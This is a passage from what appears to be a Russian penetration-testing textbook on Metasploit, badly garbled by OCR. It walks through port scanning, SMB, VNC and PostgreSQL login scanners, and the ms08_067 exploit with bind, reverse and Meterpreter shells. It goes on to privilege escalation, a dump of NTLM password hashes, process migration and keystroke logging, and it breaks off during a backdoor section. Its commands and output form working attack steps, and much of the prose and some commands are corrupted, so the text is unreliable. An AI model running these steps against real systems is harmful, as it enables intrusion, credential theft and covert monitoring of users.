(dpeiimBopra Metasploit. Ho MbI cMorium mogpo6Ho udyunTth HauboJiee BasKHble (PyHKIMN
BXOJISIIX B HEro MHCTPyMeHTOB. J[jist 6otee oapobHoro usyuennst Metasploit Mbr Ha-
CTOSITE/IHO PEKOMEH/YEM BaM IIPOYNTaTh OHJIaliH-yyeOHK Metasploit Unleashed, pac-
TI0JIO’KEHHBIH 110 azipecy http://www.offensive-security.com/metasploit-unleashed/. IToT yqe6H1/H<
B YMCJIE TPOYETO BKIIOYaeT B cebst mH(BOPMAIMIO 0 pa3paboTKe SKCIUIONTOB, NCCIeI0Ba-
HUSIX YI3BUMOCTEN M METOZIaX OIIEHKN TECTUPOBAHKSI HA BO3SMOKHOE TIPOHUKHOBEHHE.,

CueHapuin 1

B xozie aToro yrpaskHeHus Mbl IIPOJEMOHCTPUPYEM, KaK € TOMOIIbIO HMHTEIPUPOBAHHOTO
B Metasploit cpezictBa Nmap BbITIOJHUTS CKAHUPOBAHUE TOPTOB, CHSITH OTIIEYATKH TTAJTb-
1eB 1 UAeHTUGUIUPOBATh carysk6bl. JI7ist aToro BeimosauTe B MSFConsole cieyroriue
KOMAaH/IBL:

msf> load db_tracker
[*] Successfully loaded plugin: db_tracker

I'Ipm BO3HMKHOBEHMWN OWMOOK NoakntoyeHnst Kk 6ase aaHHbIX VICI'IOJ'Ib3y1‘/lITe
cnepyouime ase KoMaHAbl:

Systemclt start postgresql
Msfdb inint

TpeKep 6asbl JaHHBIX COXPAHUT MOJIYYE€HHbIC JTaHHBIC N UCIIOJIb3YET UX ITPU TTOCJIE-
AYIOIIUX CeaHCaX. Y1061 3allyCTUTb CKaHNPOBaHNE Nmap, BBEAUTE CJIC/IYIOIIEE:

msf>db_nmap -T Aggressive -sV -n -0 -v 192.168.0.7 Starting Nmap 5.00 (http://
nmap.org ) at 2010-11-11 22:34 UTC NSE: Loaded 3 scripts for scanning.
Initiating ARP Ping Scan at 22:34 Scanning 192.168.0.7 [1 port] Completed ARP
Ping Scan at 22:34, 0.00s elapsed (1 total hosts) Initiating SYN Stealth Scan
at 22:34 Scanning 192.168.0.7 [1000 ports] Discovered open port 445/tcp on
192.168.0.7 Discovered open port 135/tcp on 192.168.0.7 Discovered open port
25/tcp on 192.168.0.7 Discovered open port 139/tcp on 192.168.0.7 Discovered
open port 3389/tcp on 192.168.0.7 Discovered open port 80/tcp on 192.168.0.7
Discovered open port 443/tcp on 192.168.0.7 Discovered open port 21/tcp on
192.168.0.7 Discovered open port 1025/tcp on 192.168.0.7 Discovered open port
1433/tcp on 192.168.0.7 Completed SYN Stealth Scan at 22:34, 3.04s elapsed
(1000 total ports) Initiating Service scan at 22:34

Scanning 10 services on 192.168.0.7

Completed Service scan at 22:35, 15.15s elapsed (10 services on 1 host)
Initiating OS detection (try #1) against 192.168.0.7
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PORT STATE SERVICE VERSION

21/tcpopen ftp Microsoft ftpd

25/tcpopen smtp Microsoft ESMTP 6.0.2600.2180
80/tcpopen http Microsoft IIS httpd 5.1
135/tcp openmsrpc Microsoft Windows RPC

139/tcp opennetbios-ssn

443/tcp open https?

445/tcp openmicrosoft-ds  Microsoft Windows XP microsoft-ds
1025/tcpopen msrpc Microsoft Windows RPC

1433/tcpopen ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
3389/tcpopen microsoft-rdp Microsoft Terminal Service

MAC Address: 00:0B:6B:68:19:91 (WistronNeweb)

Device type: general purpose

Running: Microsoft Windows 2000 |XP|2003

0S details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or Windows
Server 2003 SPO - SP2

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=263 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: custdesk; 0S: Windows

Nmap done: 1 IP address (1 host up) scanned in 2 ©.55 seconds
Raw packets sent: 1026 (45.856KB) | Rcvd: 1024 (42.688KB)

Ha pannpiif MOMEHT MBI yCIENIHO OTCKAaHWPOBAJIU HAIILY 11eJIb U COXPAHWUJIH pe-
3YJIBTATBl B TEKYIIIeM ceaHce 6a3bl JaHHbIX. UTOOBI BBIBECTH CIIMCOK OOHAPYKEHHBIX
1eJieit u cirysk0, BBIOJTHUTE TOCJE0BATEIBHO JIPYT 32 IPYTOM JiBe KOMaH bl db_hosts
n db_services. Kpome Toro, ecsiv Bbl patee ¢ IIOMOIIIbIO ITPOrpaMMbl Nmap CKaHUPOBaJIN
11eJTb ¥ COXPAHUJIN pe3y ibTat B (hopmate XML, To, BBeis Komany db_import_nmap_xml,
MOJKEeTe UMIOPTUPOBATh 3TH pe3yJibraTsl B Metasploit.

CueHapui 2

B aTom npuMepe MbI TPOMIIITIOCTPUPYEM HECKOJIBKO BCIIOMOTATEIbHBIX 2JIEMEHTOB 13
crpykrypbl Metasploit. [siaBHOe — MOHSTH, HACKOJIBKO OHU BasKHBI B ITPOIIECCE AaHATN3A
HaiiIeHHOU YyS3BUMOCTH.

Mg nonb3osaTtena SMB

ITOT MOJYJIb OYZET TPOBEPSITH TiesieBbie [P-anpeca, mbITasich HAUTH UMEHA TIOJIb30BaTE-
JIell, CBsA3aHHBIE ¢ O10K0M coobuenutl cepeepa (Server Message Block, SMB). Jlannast ciryx-
6a IPIMEHSIETCST IPIJIOKEHUSIMH TSI IOCTYTIA K OOTIIM (hallIOBBIM PECYpCaM, TPHHTEPAM
WJIN [T CBSI3M MEXKJLY YCTPOHCTBaMU B ceTH. VIcronb3yss oiH U3 BCIIOMOTATeTbHBIX
ckanepoB Metasploit, Mbl MOJKEM OTIPEIETUTD BO3MOKHbIE UMEHA MOJTb30BaTEEN.
Bo-11epBhIX, ¢ MOMOIIBIO CJeAyIoel KoMaHabl HailanTe Metasploit i/ ckaHepoB:

msf> search SMB
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[Tocsie BBITIOTHEHNST KOMAH/IbI MBI YBH/IMM BCE JIOCTYITHBIE CKAHEPDI, [TPeHA3HAUYECH-
HBIE JIJIT CKAHUPOBAHUS OTKPBITHIX c1y:k6 SMB (puc. 8.1).

tion [SAM Enuml
umaratian

Puc. 8.1. CkaHepbl 4N NpoCMOTPa OTKPbITbIX Cy6 SMB

Yt06bI 3aMyCTUTH CKaHep, BBEANTE TAKYI0 KOMAH/TY:

msf> use auxiliary/scanner/smb/smb_enumershares

C momoripio mapameTpa RHOSTS BbiOepuTe Auama3on cetu. B Harem ciyuae 310 Oy-
net 192.168.0.1/24. 1151 aTOrO BBE/IUTE TAKYIO KOMAHLY:

mst> set RHOSTS 192.168.0.1/24
3aTeM BBeJIUTE CJIeyTolee:

msf> run

B pesyJibrarax CKaHUPOBAaHUS MbI YBUANM, YTO CyIecTBYeT caysxkba SMB, pabora-
1011124 ¢ mojb3oBaresieM METASPLOITABLE.

Puc. 8.2. Pe3ynbtaT ckaHnpoBaHus cnyx6sl SMB

Takoii pe3yabraT yka3zbpiBaeT Ha CyIl[eCTBOBaHME 061K X OTKPBITBIX PECYPCOB
WJIN IPYTUX CETEBBIX cny>1<6, KOTOpbIE MOTYT ObITb aTaKoBaHbl. 1IM4 110JIb30BaTe
METASPLOIT Tak:Ke MOKET IMOCTYKUTh HaM OTIIPABHOU TOYKOM, KOT/Ia MbI HAUHEM B3JIa-
MBIBATh YUeTHBIE JIAHHBIE W TTAPOJIN TTOTh30BaTEeH.

CkaHepbl npoBepku noannHHoctn VNC

ITOT MOJYJib OyJIeT CKAaHUPOBATH JHana3on [P-apecos Uisi CepBEPOB BUPMYALbHBIX
cemeswix evruucaenuti (Virtual Network Computing, VNC), KOTOpbBIE IOCTYITHBI O€3 KaKuX-
Jin6O TAHHBIX Ay TeHTU(DUKAIUIL

msf> use auxiliary/scanner/vnc/vnc_none_auth

msf auxiliary(vnc_none_auth) > show options

msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24
RHOSTS => 10.4.124.0/24 msf auxiliary(vnc_none_auth) > run
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[*]

10.4.124.22
10.4.124.23
10.4.124.25
Scanned 026
10.4.124.26
10.4.124.27
10.4.124.28
10.4.124.29

10.4.124.224:5900, VNC

supported!

[*]

10.4.124.225:5900, VNC server protocol version :

supported!

[*]
[*]

10.4.124.227:5900, VNC server security types supported :
10.4.124.228:5900, VNC server protocol version :

supported!

[*]

10.4.124.229:5900, VNC server protocol version :

supported!
[*] Scanned 231 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

e Llenesas akcnnyatauus

15900, VNC server protocol version :
15900, VNC server protocol version :
15900, VNC server protocol version :

of 256 hosts (010% complete)

15900, VNC server protocol version :

"RFB 004.000", not
"RFB 004.000", not
"RFB 004.000", not

"RFB 004.000", not

15900, VNC server security types supported : None, free
15900, VNC server security types supported : None, free

15900, VNC server protocol version :

server protocol version :

"RFB 004.000", not

"RFB 004.000", not

"RFB 004.000", not

"RFB 004.000", not

supported!
supported!
supported!

supported!
access!
access!
supported!

None, free access!
"RFB 004.000", not

OG6paTuTe BHUMaHIE, YTO Mbl HAIILJIK HECKOJIBLKO cepBepoB VNC, KOTOPbIE IOCTYIIHbI
6e3 ayTeHTU(hUKAIII. ITa YSI3BUMOCTD MOKET CTATh CEPhE3HOM YTPO30H VIS CUCTEMHBIX
AJIMUHICTPATOPOB, 1, €CJIU He BKJIIOUEHbI DJIEMEHTHI yIIPaBJIeH!s aBTOPU3aIeil, HexKe-
JlaTeJibHbIe mocetutesn u3 VHreprera 63 0coObIX YCUIIMIA TIOJIyYaT JOCTYI K BallieMy
cepsepy VNC.

PostgreSQL

B mpenpiaymux riaBax, Koraa ¢ moMoIsio Nmap Mbl CKAHUPOBAIU OMEPAITMOHHYTO
cucremy Metasploitable, 6bu1a onpenenena caysxba 6assl ganHbix PostgreSQL, pabo-
tafotnast Ha moprte 5432 (puc. 8.3).

msf> use auxiliary/scanner/postgres/postgres_login

/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
Cp open vnc VNC (protocol 3.3)

info:
3.3

Security types:
Unknown security type (33554432)

Puc. 8.3. Ha nopty 5432 onpepneneHa cnyxba 6a3bl AaHHbIX PostgreSQL

MbI MOKEM MCII0JIb30BATh BCIIOMOTaTe/IbHbIN ckanep Metasploit s onpegenenus
perucrparrorHoi nadopmain o 6aze ranubx. CHavama Hy;KHO HacTpouTh Metasploit
111 paboThl cKaHepa. J[Jist 9Toro BBeIeM CIeAYIOIyI0 KOMaHLYy:
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3areM Mbl MOKEM BOCIIOJIb30BATbCS [IByMS BapuaHTaMu. B 1iepBoM BapuaHTe Mbl
HACTPOUM CKaHep Tak, YTOObI OH MPOJI0JIKAN CKAHMPOBAHMUE, /IAKe €CJI HAXOUT YCIIell-
HBII BXOJT B cCHCTeMy. Takas HacTpoIiKa IMO3BOJISIET CKAHIPOBATH HECKOJIBKO 9K3EMILJIS-
poB 6a3 MaHHbBIX, a TAKKE TEPEUNCIATh MHOKECTBO IMEH TOTH30BaTENeH U TTapoJiei.
Yro6bl BHITTOTHUTH ITY HACTPOIKY, BBEIUTE CJEAYIOINTYI0O KOMAH/TY:

msf> set STOP_ON_SUCCESS true

Jlajiee HaM HYZKHO BBIOPATD TI€JIEBbIE MAIIIUHBI, KOTOPbIE TPEOYETC ST TPOCKAHUPOBATD.
Cxanep npumet auarnazon CIDR wian onun IP-agpec. IlockosibKy paHee Mbl ¢ TOMO-
b0 Nmap onpeesanin, 4To B Hamreil axcriepumenTtaibioit OC Metasploitable ectsb
AKTUBHBIN 9K3EMILIISIP, B IpUMepe Mbl ykaxkeM ckanepy [P-agpec 192.168.0.30 aroit
OIEPAIIMOHHON cUcTeMBL. J[JIs1 3TOr0 HaM HOTPeOYETCsT BBECTH CJIELYIONIYI0 KOMAH/LY:

msf> set RHOSTS 192.168.0.30

3areM MbI 3aITycKaeM 9KCIIONT. [Ipu m3ydeHnn BhIXOAHBIX JAHHBIX MBI YBUUM UMS
0JIb30BATEJI U IAPOJIb AJI 9TOH Gasbl JaHHBIX (puc. 8.4).

ms{ auxiliary(postgres_login) = run

[!] No active DE -- Credential data will not be saved!

[-] 192.168.0.30:5432 POSTGRES - | OGTN FATILFD: postgres:@templatel (Tncorrect: Tnvalid usern
me or password)

[-] 192.168.0.30:5432 POSIGRES - LUGIN FAILED: postgres:tiger@templatel (lncorrect: lnvalid
sarname or password)

[+] 192.168.0.30:5432 - LOGIN SUCCESSFUL: postgres:postgres@templatel

[*] Scanned 1 of 1 hosts (108% complete)

[*] Auxiliary module execution completed

Puc. 8.4. MNaponb 1 nMs nonb3osaTtens B NofyYeHHbIX AaHHbIX

[TockosbKy 6asbl JaHHBIX YACTO COAEPAKAT KOHMUIEHIMAIbHYIO HHPOPMAIIMIO, UX
6e30IacHOCTh JOJIKHA CTaTh IPUOPUTETHOI 3aMaueil s opraHu3alnii-BJaaeIbIes.
Taxkue cxanepsl, kak PostgreSQL, 103BoJ10T 9 HEKTUBHO TECTUPOBATH HE30IIACHOCTD
IIPOrpaMMHOTro obecedeHus: 1 caMux 0a3 JaHHBIX.

CueHapun 3

Ternepb MbI PACCMOTPUM MIPUMEPBI HEKOTOPBIX OOIIMX MoJe3HbIX Harpy3ok (Bind,
Reverse u Meterpreter) u 06cyinmM, Kakue BO3MOKHOCTH OHU HaM MOTYT TIPEJI0CTABUTh
[IPU 9KCILIyaTallMu. JTOT IIPUMEP JIacT BaM IIPe/ICTaBjIeHNe, KaK U KOT/la Bbl MOXKeTe
HCI0JIb30BATh KOHKPETHYIO 110JIE3HYI0 HArpy3Ky.

O6onouka Bind

Obosiouka Bind — ato ynasnentoe coefiutenue, KOTOPOE, €CIM HACTPOUTH TIPOCITYHINBa-
HIE HY’KHBIX TIOPTOB, [TPU YCIIENTHON 9KCIUTyaTallni 06eCieunBaeT A0CTYII K 1eJIeBOU CH-
creme. O60I0UKA OTKPHIBAET MLIEO3 JIJIST 3JI0YMBIMLIEHHUKA, JKEJAIOIIETO TTOKTIOUUTHCST
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K CKOMITPOMETHPOBAHHO# Mariuse. J[ocTyI yepes mopT NpUBSI3KI 06ECTIeYnBACTCS C MO~
Moriibio nHcTpyMenTa Netcat, kotopsiii uepes TCP-coennnenue MokeT TYHHEJNPOBATh
cTangapTHbIi BB (stdin) u BeiBoz (stdout).

Pa6ora atoro ciienapus 1oxoska Ha pabory knuenta Telnet, ycranasiusaioniero co-
enunenue ¢ cepsepoM Telnet. Takoii ciieHapuii IPUMEHSIETCST, KOT/IA 3JI0YMBIIILIEHHITK
HPUKpPBIBaeTCS mpancisyueil cemesoix aopecos (Network Address Translation, NAT)
ui GPaHAMAy3POM U IIPSIMON KOHTAKT OT CKOMITPOMETHPOBAHHOTO X0ocTa K [P-ampecy
3JIOYMBITILIEHHIKA HEBO3MOIKEH.

Huzke prBeieHbI KOMAH/IbI IS HAuasia 9KCILIyaTallii 1 HacTpoiku 06osiouku bind:

msf> use exploit/windows/smb/ms@8_ 067 netapi

msf exploit(ms@8_067 netapi) > show options

msf exploit(ms@8_067_netapi) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(ms@8_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp

msf exploit(ms@8_067 netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.0.7

[*] Command shell session 1 opened (192.168.0.3:41289 -> 192.168.0.7:4444) at
Sat Nov 13 19:01:23 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32>

Takum 06pa3oM, MbI TPOAHATM3UPOBAJIH, uTo Metasploit ¢ MOMOIIBIO HHTETPUPO-
BAHHOI'O MHOIOIIOTOYHOTO 06paboTYMKa HATPY3KU TaKKe aBTOMATU3KMPYET IPOLEeCC
noakroyeHust. THetpyMeHThl Hanogo6ue Netcat MOTYT IPUTOAUTBCS B CUTYAIUAX,
KOIJIa BBI C IOMOIIBIO KOZIa 060J0YKHU IPUBAZKH MUIIETE CBOI COOCTBEHHBIN 9KCILIONT,
KOTOPOMY /ISl YCTAHOBJIEHHS COEAUHEHNUSI CO CKOMIIPOMETHPOBAHHBIM XOCTOM Tpedy-
eTCsl CTOPOHHUI 06pabOTUHK.

Hexotoprbie mpakTrdeckre mpuMepbl UCTIOMh30BaHMsI Netcat 171 pa3inaHbIX OTiepartiit
cereBoii 6e30IacHOCTH Bbl MOJKETE HalTH 110 ajgpecy http://en.wikipedia.org/wiki/Netcat.

O6paTtHble 060no4km

Ob6paTHas 060J104Ka SBJILETCS TOJHON TPOTHBOIOI0KHOCTBIO 06004k bind. Bmecto
MIPUBSI3KY TIOPTA K IIEJIEBON CUCTEME U OKUAAHUS COETUHEHUsI C MAIIIMHOM 3JI0YMBIIII-
JIEHHUKA MTPOUCXOANT ToAKIoueHre K [P-apecy u mopTy KoMIbioTEpa 37I0YMBITILIEH-
HUKa, 1ocJIe 4ero cospaercst obosouka. [aBHas 3agada o6parHoil 060J0YKH — pac-
cmotpets 1enb 3a NAT win 6panamayspom. NAT uiau GpaHaMaysp MPeA0TBPALaoT
OTKPBITBIN JIOCTYT K HAXOASIIUMCSI 32 HUMU CUCTEMHBIM PECYPCAM.
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Huske npuBeseHbl KOMaHADL Il HACTPOMKK M Hava/a 9KCILIyaTaluu oOpaTHOM
060JI0YKH:

msf> use exploit/windows/smb/ms@8_067_netapi

msf exploit(ms@8_067 netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7

msf exploit(ms@8_067 netapi) > set

PAYLOAD windows/shell/reverse_tcp

PAYLOAD => windows/shell/reverse_tcp

msf exploit(ms@8_067_netapi) > show options

msf exploit(ms@8_067_netapi) > set LHOST 192.168.0.3
LHOST => 192.168.0.3

exploit(ms08_067 netapi) > exploit

Started reverse handler on 192.168.0.3:4444
Automatically detecting the target...
Fingerprint: Windows XP Service Pack 2 - lang:English
Selected Target: Windows XP SP2 English (NX)
Attempting to trigger the vulnerability...
Sending stage (240 bytes) to 192.168.0.7

Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027) at
Nov 13 22:59:02 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSsystem32>

E}
%]
-+

N ——
* X ¥ X X ¥ ¥
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Q

Ucnonbayst IP-apec aTakyoIieil MalMHbL, Mbl MOKEM YETKO OTJIMYUTH OOPATHYO
060J109Ky OT 060T0UKN TPUBSI3KH. ECJH B 000109Ke TIPUBS3KY He TPeOYeTCsT YKA3hIBATh
[P-anpec aTakyrorieil MalinHbl, B KOH(GUTYpaIn oOpaTHoi 000109k HysKeH [P-aapec
MAaIlTUHBI 37I0yMBIIIIJIEHHNKA (HarpuMep, LHOST 192.168.0.3).

B uem paznuiia Meskry BCTPOEHHON M MTO3TAITHOM (CTYyEeHYATO! ) TOJIe3HOI HAarpy3-
KoIi? BeTpoeHHast mosiesHast Harpyska — 9T0 aBTOHOMHBIH K0 000JI0YKH, KOTOPBII
JIOJKEH BBITIOTHATBCS C OTHIM 9K3eMILIIPOM KCILTOiTa. CTyneHvyaTas Uiy 0 TaTHast
I0JIe3HasT HArpy3Ka IIPU BBITIOJTHEHUM KOHKPETHOM! 3a/1auu [IJisi CYUTBIBAHUS OCTAJb-
HOH 4acTH MPOMEKYTOUYHOTO KO/la 0O0JIOUKH cO3/1aeT 0OPaTHDIN KaHaJ CBSI3U MEKILY
MAIIMHOM 3JI0YMBIIIEHHUKA U MANTHOM KepTBbl. OOBIYHO BBIOUPAIOT CTYIEHIATYIO
MIOJIE3HYIO HATPY3KY.

Meterpreter

Meterpreter — aT0 HOBeliIlIast CKPbITasi MHOTOTPAaHHAS U TUHAMUYECKN paciiupsiemMast
MoJie3Hast HarpysKa, KoTopast paboTaet, BBOist oTpaskeHHbI DLL B 1e/IeBYI0 MaMsITh.
[l pactimpenus aesTeTbHOCTH TIOC/Ie AKCILTyaTaliy CIieHapUH 1 TIIaruHbBI MOTYT JIH-
HaMUYECKH 3arPy>KaThCs BO BPEMSI BBITIOJHEHN. B 9TOM ciiydae MbI CMOKeM HaCTPanBaTh
IIPpUBUJIETUU, C6paCbIBaTb CUCTEMHDBIEC YUETHBIC 3allCH, NCIIOJIB30BAaTh ITOCTOAHHYIO
cay»k0y uepHoro xoza (backdoor) u BritoueHwue ynaserHoro Pabouero crona. Kpome Toro,
BCs ¢BsI3b 000s10uKu Meterpreter mndpyercst 1o yMOTYaHUIO.
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Huske mprBejieHbI KOMaH/IbI LI HACTPOMKY 1 HavYasIa SKCILTyaTalliy TT0JIe3HOI Ha-
rpysku Meterpreter:

msf> use exploit/windows/smb/ms@8_067_netapi

msf exploit(ms@8_067 netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7

msf exploit(ms@8_067 netapi) > show payloads

msf exploit(ms@8_067 netapi) > set PAYLOAD
windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms@8_067 netapi) > show options

msf exploit(ms@8_067_netapi) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(ms@8_067 netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444
Automatically detecting the target...

Fingerprint: Windows XP Service Pack 2 - lang:English
Selected Target: Windows XP SP2 English (NX)
Attempting to trigger the vulnerability...

Sending stage (749056 bytes) to 192.168.0.7
Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1029)
t Sun Nov 14 02:44:26 +0000 2010

meterpreter> help

[*]
[*]
[*]
[*]
[*]
[*]
a

Kak BbI MOKeTe BUETh, 0600uKa Meterpreter Oblia yCIENIHO TToyueHa. Beeas
KoMaHy help, Mbl CMOXKEM YBUJIETH IOCTYITHbIE HAM pa3jndHbie TUIbl KoMan. C 1o-
MoIIbio ciieHapus Meterpreter 110/1 HazBaHueM getsystem ITPOBEPUM HANIM TEKYIIHE
[IPUBUJIETUU U TIOBBICUM WX JIO CUCTEMHOIO YPOBHSI:

meterpreter>getuid

Server username: CUSTDESKsalesdept
meterpreter> use priv
meterpreter>getsystem -h

[Tocsie BBOA KOMaH/IbI meterpreters>getsystem -h Bbl yBUANTE HECKOJIBKO METO/IOB,
C TIOMOIIIBIO KOTOPBIX MOKHO MOBBICUTH CBOW MPUBUIErnn. Eciu BbI BBeZeTe TIpeia-
raeMyIo [0 yMOJIYaHIIO KOMaHZAy getsystem 0e3 Kakux-au00 mapaMeTpos, Meterpreter
B aTake IPOTHB IeJIEBOI MAIIUHBI GYET II00YEPeIHO HCIIOJIb30BaTh Kaskiblil Meto. Koraa
ouepeIHast aTaKa 3aBEPIMUTCS yeIexoM, pabota Meterpreter Gy/ieT ocTaHOBJIEHA:

meterpreter>getsystem

...got system (via technique 1).
meterpreter>getuid

Server username: NT AUTHORITYSYSTEM
meterpreter>sysinfo

Computer: CUSTDESK

0s : Windows XP (Build 2600, Service Pack 2).
Arch : X86

Language: en_US
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Ecmi BbI perniuTe BBECTH KOMAH/Y -J -2, 9KCIIONT Oy/IeT BBIOTHATHCSA B (POHOBOM
pexkume. B atom cirydae nHTEpakTHBHAS 00010uKa Meterpreter He GyeT 0ToOpaskaThest
Ha 9kpane. OIHAKO, ecIM ceccust OblIa YCMENTHO YCTAHOBIEHA, BBl MOJKETe B3anMOIeli-
CTBOBATh C Hel, UCIOJIb3Ys uAeHTHGUKATOP -i. YToOb y3HATh ToYHOE 3Hadenue 1D,
MOJTYYUTE CITUCOK AKTUBHBIX CECCHIA, BB - 1.

[Tposepum cuiy obosouku Meterpreter u cOPOCUM TEKYIIUE CUCTEMHBIE YUETHbBIE
3aIMCH U MTApoJin, COXPaHEeHHbIe Ha T1esieBoi ManmmHe. CUCTEeMHbBIE 3aITUCH U TTapOJIn
OyayT otobpaskarbes B xer-popmare NTLM, 1 ¢ HOMOIIBIO HECKOJIBKIX HHCTPYMEH-
TOB ¥ METOJIOB X MOKHO B3JIOMAaTh U COPOCUTD. [IJist 3TOTO UCIIOIB3YiTE CIIeyIOIIne
KOMAaH/IBI:

meterpreter> run hashdump

[*] Obtaining the boot key...

Calculating the hboot key using SYSKEY 71le52ce6b86e5da@c213566a12361892...
Obtaining the user list and keys...

Decrypting user keys...

Dumping password hashes...

[*]
[*]
[*]
[*]
h

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@dl6ae931b73c59d7e0cO
89cO:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢O: : :
HelpAssistant:1000:d2cd5d550e14593b12787245127c866d:d3e35f657c924d0b31eb811d2d9
86df9:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee: c8edf0dOdb48cbf7b2835ecO1
3cfb9c5:::

Momin

Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204b
eb12283678:::
TUSR_MOMINDESK:1004:a751dcb6ea9323026eb817854da74a24:b0196523134dd9a21bf6b8
0e02744513: ::
ASPNET:1005:ad785822109dd077027175+3382059Fd:21ff86d627bcf380a5blb6abe5d8eldd: : :
IWAM_MOMINDESK:1009:12a75aldocf47cd0c8e2f82a92190b42:c74966d83d519badle5196e00f
94e113:::
h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678: 1 :
salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126fdd37
7b1693:::

Terepb paccCMOTPUM 3TY JIESTENBHOCTD € TIOMOIIBIO (DYHKITUHU, KOTOPas OyeT 3ariu-
CHIBATh HAKATHS KIABUIT 000m0uky Meterpreter. JI71s BBISIBIEHISI HEKOTOPBIX TTOJE3HBIX
JIAHHBIX C 1[€JIeBOI0 KOMIIBIOTEPa MCIIOIb3yeM CJIEAYIONIe KOMaH/Ibl:

meterpreter>getuid

Server username: NT AUTHORITYSYSTEM
meterpreter>ps

Process list

PID Name Arch Session User Path

0 [System Process]
4 System x86 © NT AUTHORITYSYSTEM
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384 smss.exe x86 0 NT AUTHORITYSYSTEM
SystemRootSystem32smss.exe

488 csrss.exe x86 © NT AUTHORITYSYSTEM
??C:WINDOWSsystem32csrss.exe

648 winlogon.exe x86 © NT AUTHORITYSYSTEM
??C:WINDOWSsystem32winlogon.exe

692 services.exe x86 © NT AUTHORITYSYSTEM
C:WINDOWSsystem32services.exe

704 lsass.exe x86 0 NT AUTHORITYSYSTEM

C:WINDOWSsystem32lsass.exe

148 alg.exe x86 @ NT AUTHORITYLOCAL SERVICE

C:WINDOWSSystem32alg.exe

3172 explorer.exe x86 © CUSTDESKsalesdept
C:WINDOWSExplorer.EXE

3236 reader_sl.exe x86 © CUSTDESKsalesdept

C:Program FilesAdobeReader 9.0ReaderReader_sl.exe

Ha manHOM aTamne MbI 71T HAUasIa peruCTPaIiy TeKYIIei aKTUBHOCTH TIOTb30BaTeJIsT
B cucTeMe IepeHeceM 060J104Ky Meterpreter B iporiecc explorer.exe (3172). [lus aToro
BBITIOJIHUM CJIC/TYTOTIIE KOMAHJIBI:

meterpreter> migrate 3172

[*] Migrating to 3172...

[*] Migration completed successfully.
meterpreter>getuid

Server username: CUSTDESKsalesdept
meterpreter>keyscan_start

Starting the keystroke sniffer...

Wrak, keitsorrep samyineH (Keiiorrep — rnporpaMMHoe obeciiedeHne, perucTpu-
pyloliiee pasjuyHble AeiicTBUS 110Jb30BaTe d: HaKaTUA KIaBUL, IBUKEHU MBIIILIO
U TEJTYKN ee KHOTKaMu 1 T. 11.). Ham motpebyercst momoskaaTh HEKOTOPOE BPEMsT, TIOKa
MBI HAUHEM 110J1y4aTh (hparMeHTbl 3alIMCAHHBIX JIAHHBIX:

meterpreter>keyscan_dump

Dumping captured keystrokes...

<Return> www.yahoo.com <Return><Back> www.bbc.co.uk <Return>
meterpreter>keyscan_stop

Stopping the keystroke sniffer...

Kaxk BbI MOKeTe BUIETH, MbI COPOCHIIN aKTHBHOCTD BeO-cephrHTa 1[eJIEBOIT MAIITIHBL.
Takum ke criocoOOM ¢ IOMOILIBI0 MUTPALUK [Ipoliecca winlogon.exe (648) Mbl MoKeM
3aXBATUTh yUETHbIE TAHHDIE BCEX MOTBb30BATEEH, BXOSIIX B CHCTEMY.

JlotycTim, BbI TIOJYYHIN JOCTYI K 1[EJIEBOII CHCTEME ¥ BOCIIOJIb30BAINUCH UM, HO
TEIEPb XOTUTE CAEJIaTh TaK, ‘{TO6I)I OH 6])1.71 ITOCTOAHHDIM, JaKe €CJIN SKCIIyaTupyemMasa
carysk6a MM TIPUIIOJKEHIE 1T03Ke OyyT U3MEHEHBI. 3a 9TO OTBeYaeT GIKI0P-CEPBUC.
O6paTuTe BHUMaHME, 9TO GIKTOP-CEPBUC, PEIOCTABIAEMBIH 06ooukoit Meterpreter,
nepes IOCTYTOM K OMPEIeIEHHOMY CETEBOMY TIOPTY 1[€I€BOI CHCTEMBI He TpebyeT
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MTPOBEPKHU MOJFIMHHOCTU. DTO PUCKOBAHHAS OTIEPAINS, TAK KaK MOJYYUTh IOCTYII K T1e-
JIEBOW MallliHe MOIYT 1 He3BaHble ToCcTH. B paMKkax coOJofeHust paBuJl IIPOBeAEeHHUsT
UCTIBITAHUN Ha MPOHUKHOBEHUE TaKas JAeATEIbHOCTD, KaK ITPABUJIO, HE JIOMYCKAETCH.
[To5TOMY MBI HACTOSITEJILHO PEKOMEHIYEM BaM AePKaTh OIKIOP-CEPBUC IIOAJbIIE OT
oUIMaNIbHON CPe/lbl UCIIBITAHUI Ha IIPOHUKHOBEHME. Bbl Takske JOJKHbBL yOeuThes,
